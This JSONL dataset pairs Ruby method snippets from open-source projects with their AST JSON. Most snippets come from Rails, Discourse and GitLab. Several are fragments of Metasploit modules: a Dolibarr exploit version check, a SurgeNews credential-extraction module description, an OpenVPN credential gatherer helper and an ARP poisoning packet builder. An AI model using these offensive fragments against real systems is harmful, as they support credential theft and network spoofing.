failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Dolibarr ([\\\\d.]+-*[a-zA-Z0-9]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Dolibarr version not found - proceeding anyway...\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"16.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"16.0.4\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected vulnerable Dolibarr version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected apparently non-vulnerable Dolibarr version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}]}","id":"769c027d-d029-4ae6-9e0c-1c3388023b44"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":375,"raw_source":"def test_build_then_save_with_has_many_inverse\n    post   = posts(:thinking)\n    person = post.people.build(first_name: \"Bob\")\n    person.save\n    post.reload\n\n    assert_includes post.people, person\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_build_then_save_with_has_many_inverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"people\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"Bob\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"people\"]},{\"type\":\"lvar\",\"children\":[\"person\"]}]}]}]}","id":"37eacfa8-db8b-4240-bc16-27d5ba72cccb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/badge_granter.rb","start_line":544,"raw_source":"def self.send_notification(user_id, username, locale, badge)\n    I18n.with_locale(notification_locale(locale)) do\n      Notification.create!(\n        user_id: user_id,\n        notification_type: Notification.types[:granted_badge],\n        data: {\n          badge_id: badge.id,\n          badge_name: badge.display_name,\n          badge_slug: badge.slug,\n          badge_title: badge.allow_title,\n          username: username,\n        }.to_json,\n      )\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"locale\"]},{\"type\":\"arg\",\"children\":[\"badge\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"send\",\"children\":[null,\"notification_locale\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"granted_badge\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"display_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"allow_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},\"to_json\"]}]}]}]}]}]}","id":"c08751ea-b67f-4afa-b4e3-2547ae075740"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/register_runner_service.rb","start_line":9,"raw_source":"def initialize(registration_token, attributes)\n        @registration_token = registration_token\n        @attributes = attributes\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"registration_token\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@registration_token\",{\"type\":\"lvar\",\"children\":[\"registration_token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@attributes\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}","id":"863dc4b1-f43a-4e38-aae6-7d4578275104"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/actions.rb","start_line":104,"raw_source":"def cancel_timeout_job(user)\n      Jobs.cancel_scheduled_job(:narrative_timeout, user_id: user.id, klass: self.class.to_s)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_timeout_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"cancel_scheduled_job\",{\"type\":\"sym\",\"children\":[\"narrative_timeout\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"to_s\"]}]}]}]}]}","id":"86715783-0c50-4853-80e5-ce7143270ff0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/setup.rb","start_line":70,"raw_source":"def setup_service_discovery\n          return unless configuration.service_discovery_enabled?\n\n          sv = ServiceDiscovery.new(load_balancer, **configuration.service_discovery)\n\n          load_balancer.service_discovery = sv\n\n          sv.perform_service_discovery\n\n          sv.start if @start_service_discovery\n        end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_service_discovery\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"service_discovery_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceDiscovery\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"load_balancer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"service_discovery\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_balancer\"]},\"service_discovery=\",{\"type\":\"lvar\",\"children\":[\"sv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sv\"]},\"perform_service_discovery\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_service_discovery\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sv\"]},\"start\"]},null]}]}]}","id":"3095ef73-7812-4e6a-8514-02cd538a44cd"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/request/session.rb","start_line":167,"raw_source":"def to_hash\n        load_for_read!\n        @delegate.dup.delete_if { |_, v| v.nil? }\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"to_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_for_read!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@delegate\"]},\"dup\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"nil?\"]}]}]}]}","id":"34ecc8ed-5335-418f-b7a5-3989cf1e3e71"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/surgenews_user_creds.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SurgeNews User Credentials',\n        'Description' => %q{\n          This module exploits a vulnerability in the WebNews web interface\n          of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated\n          users to download arbitrary files from the software root directory;\n          including the user database, configuration files and log files.\n\n          This module extracts the administrator username and password, and\n          the usernames and passwords or password hashes for all users.\n\n          This module has been tested successfully on SurgeNews version\n          2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.\n        },\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => [IOC_IN_LOGS]\n        },\n        'Author' => 'bcoles',\n        'DisclosureDate' => '2017-06-16'\n      )\n    )\n\n    register_options [ Opt::RPORT(9080) ]\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SurgeNews User Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in the WebNews web interface\\n\"]},{\"type\":\"str\",\"children\":[\"          of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated\\n\"]},{\"type\":\"str\",\"children\":[\"          users to download arbitrary files from the software root directory;\\n\"]},{\"type\":\"str\",\"children\":[\"          including the user database, configuration files and log files.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module extracts the administrator username and password, and\\n\"]},{\"type\":\"str\",\"children\":[\"          the usernames and passwords or password hashes for all users.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully on SurgeNews version\\n\"]},{\"type\":\"str\",\"children\":[\"          2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-06-16\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[9080]}]}]}]}]}]}","id":"d78d3a74-e324-4f55-a2c2-306b51c63c0b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/class_structure.rb","start_line":297,"raw_source":"def humanize_node(node)\n          if node.def_type?\n            return :initializer if node.method?(:initialize)\n\n            return \"#{node_visibility(node)}_methods\"\n          end\n          HUMANIZED_NODE_TYPE[node.type] || node.type\n        end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"humanize_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"def_type?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"initialize\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"initializer\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_visibility\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"str\",\"children\":[\"_methods\"]}]}]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HUMANIZED_NODE_TYPE\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]}]}]}]}","id":"f0363116-6475-4ea7-b5ba-8402f84776b7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/site_serializer.rb","start_line":219,"raw_source":"def can_create_tag\n    scope.can_create_tag?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_create_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_create_tag?\"]}]}","id":"2876d3a7-06d3-4ef1-8377-cdf6758d57e2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/purge_ems.rb","start_line":28,"raw_source":"def current_backlog\n  MiqQueue.where(:method_name => DESTROY_METHOD, :zone => ZONE, :priority => PRIORITY).count\nend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_backlog\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"const\",\"children\":[null,\"DESTROY_METHOD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"const\",\"children\":[null,\"ZONE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"const\",\"children\":[null,\"PRIORITY\"]}]}]}]},\"count\"]}]}","id":"0ff6d21c-95ce-4233-908d-9269a130a58a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/provisioning/provisioning_stubbing.rb","start_line":8,"raw_source":"def read_binary_fixture_file(filename)\n        File.binread(File.join('spaceship', 'spec', 'connect_api', 'fixtures', 'provisioning', filename))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_binary_fixture_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"spaceship\"]},{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\":\"str\",\"children\":[\"connect_api\"]},{\"type\":\"str\",\"children\":[\"fixtures\"]},{\"type\":\"str\",\"children\":[\"provisioning\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"c473f018-9870-4ab8-a2b9-e3ba2f21d202"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250709181000_update_saml_group_links_unique_index.rb","start_line":16,"raw_source":"def down\n    remove_concurrent_index :saml_group_links, [:group_id, :saml_group_name, :provider], name: NEW_INDEX_NAME\n    add_concurrent_index :saml_group_links, [:group_id, :saml_group_name], unique: true, name: OLD_INDEX_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index\",{\"type\":\"sym\",\"children\":[\"saml_group_links\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"saml_group_name\"]},{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"NEW_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"saml_group_links\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"saml_group_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"OLD_INDEX_NAME\"]}]}]}]}]}]}","id":"c8f19e48-0d44-4281-9831-c275882ba689"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_updater.rb","start_line":373,"raw_source":"def format_url(website)\n    return nil if website.blank?\n    website =~ /\\Ahttp/ ? website : \"http://#{website}\"\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"website\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"website\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"website\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Ahttp\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"website\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"website\"]}]}]}]}]}]}","id":"2e3063a5-f9c9-4ca6-9a0a-241984c266af"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/form_tag_helper.rb","start_line":42,"raw_source":"def styled_select_tag(name, styled_option_tags = nil, options = {})\n      apply_css_class_to_options(options, \"form--select\")\n      wrap_field \"select\", options do\n        select_tag(name, styled_option_tags, options)\n      end\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"styled_select_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"styled_option_tags\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_css_class_to_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"form--select\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrap_field\",{\"type\":\"str\",\"children\":[\"select\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"select_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"styled_option_tags\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"d9d906e4-98ee-422f-8237-bdfb2a137a90"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":474,"raw_source":"def include_user_custom_fields?\n    user_custom_fields_object[object.user_id]\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"include_user_custom_fields?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_custom_fields_object\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_id\"]}]}]}","id":"5a403648-e4d2-4412-a12d-cd891c835ae9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/files_query.rb","start_line":130,"raw_source":"def location_url_for(folder)\n              base_url = UrlBuilder.url(base_uri, \"/root\")\n              return base_url if folder.root?\n\n              \"#{base_url}:#{UrlBuilder.path(folder.path)}\"\n            end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"location_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"folder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[null,\"base_uri\"]},{\"type\":\"str\",\"children\":[\"/root\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]},\"root?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]},\"path\"]}]}]}]}]}]}","id":"7fdd20fa-b8ef-4ecf-8249-30e499e03992"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/openvpn_credentials.rb","start_line":51,"raw_source":"def tmp_path\n    datastore['TMP_PATH']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tmp_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TMP_PATH\"]}]}]}","id":"4426fb44-e358-496c-979a-e7d4c34d0b48"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/arp/arp_poisoning.rb","start_line":319,"raw_source":"def buildprobe(shost, smac, dhost)\n    p = PacketFu::ARPPacket.new\n    p.eth_saddr = smac\n    p.eth_daddr = 'ff:ff:ff:ff:ff:ff'\n    p.arp_opcode = 1\n    p.arp_daddr_mac = p.eth_daddr\n    p.arp_saddr_mac = p.eth_saddr\n    p.arp_saddr_ip = shost\n    p.arp_daddr_ip = dhost\n    p\n  end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"buildprobe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shost\"]},{\"type\":\"arg\",\"children\":[\"smac\"]},{\"type\":\"arg\",\"children\":[\"dhost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"ARPPacket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"eth_saddr=\",{\"type\":\"lvar\",\"children\":[\"smac\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"eth_daddr=\",{\"type\":\"str\",\"children\":[\"ff:ff:ff:ff:ff:ff\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"arp_opcode=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"arp_daddr_mac=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"eth_daddr\"]}]},{\"type\":\"send\",\